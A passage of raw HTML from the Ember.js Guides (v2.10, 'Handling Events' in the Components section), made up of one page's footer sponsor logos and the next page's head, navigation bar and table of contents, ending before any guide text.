73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Handling Events - Components - Ember Guides</title> <meta name="description" content="You can respond to user events on your component like double-clicking, hovering, and key presses through event handlers. Simply implement the name of the event you want to respond to as a method on your component. For example, imagine we have a template..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Handling Events - Components - Ember Guides"> <!----> <meta property="og:description" content="You can respond to user events on your component like double-clicking, hovering, and key presses through event handlers. Simply implement the name of the event you want to respond to as a method on your component. For example, imagine we have a template..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Handling Events - Components - Ember Guides"> <!----> <meta name="twitter:description" content="You can respond to user events on your component like double-clicking, hovering, and key presses through event handlers. Simply implement the name of the event you want to respond to as a method on your component. For example, imagine we have a template..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember195793" class="es-header ember-view" role="banner"><div id="ember195794" class="ember-view"><div class="container"> <nav id="ember195795" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember195796" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember195797" class="navbar-collapse collapse ember-view"><ul id="ember195798" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember195799" class="dropdown nav-item ember-view"> <a href="#" id="ember195800" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember195802" class="dropdown nav-item ember-view"> <a href="#" id="ember195803" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember195805" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember195806" class="dropdown nav-item ember-view"> <a href="#" id="ember195807" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember195809" class="dropdown nav-item ember-view"> <a href="#" id="ember195810" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember195812" class="nav navbar-nav ember-view"> <form> <div id="ember195813" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember195814" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember195815" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember195816" class="ember-basic-dropdown ember-view"> <div aria-label="v2.10.0" aria-owns="ember-basic-dropdown-content-ember195816" tabindex="0" data-ebd-id="ember195816-trigger" role="button" id="ember195817" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.10 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember195816" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember195821" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember195824" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/getting-started" id="ember195825" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember195826" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195828" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/tutorial" id="ember195829" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember195830" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195832" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/object-model" id="ember195833" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember195834" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195836" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/routing" id="ember195837" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember195838" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195840" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/templates" id="ember195841" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember195842" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195844" class="cp-Panel cp-is-open ember-view"><a href="/v2.10.0/components" id="ember195845" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember195846" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember195847" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/index" id="ember195849" class="ember-view"> Defining a Component </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/the-component-lifecycle" id="ember195851" class="ember-view"> The Component Lifecycle </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/passing-properties-to-a-component" id="ember195853" class="ember-view"> Passing Properties to a Component </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/wrapping-content-in-a-component" id="ember195855" class="ember-view"> Wrapping Content in a Component </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/customizing-a-components-element" id="ember195857" class="ember-view"> Customizing a Component's Element </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/block-params" id="ember195859" class="ember-view"> Using Block Params </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v2.10.0/components/handling-events" id="ember195861" class="selected ember-view"> Handling Events </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/triggering-changes-with-actions" id="ember195863" class="ember-view"> Triggering Changes with Actions </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195865" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/controllers" id="ember195866" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember195867" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195869" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/models" id="ember195870" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember195871" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195873" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/applications" id="ember195874" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember195875" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195877" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/testing" id="ember195878" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember195879" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195881" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/ember-inspector" id="ember195882" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember195883" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195885" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/addons-and-dependencies" id="ember195886" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember195887" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195889" class="cp-Panel cp-is-closed ember-view"><a 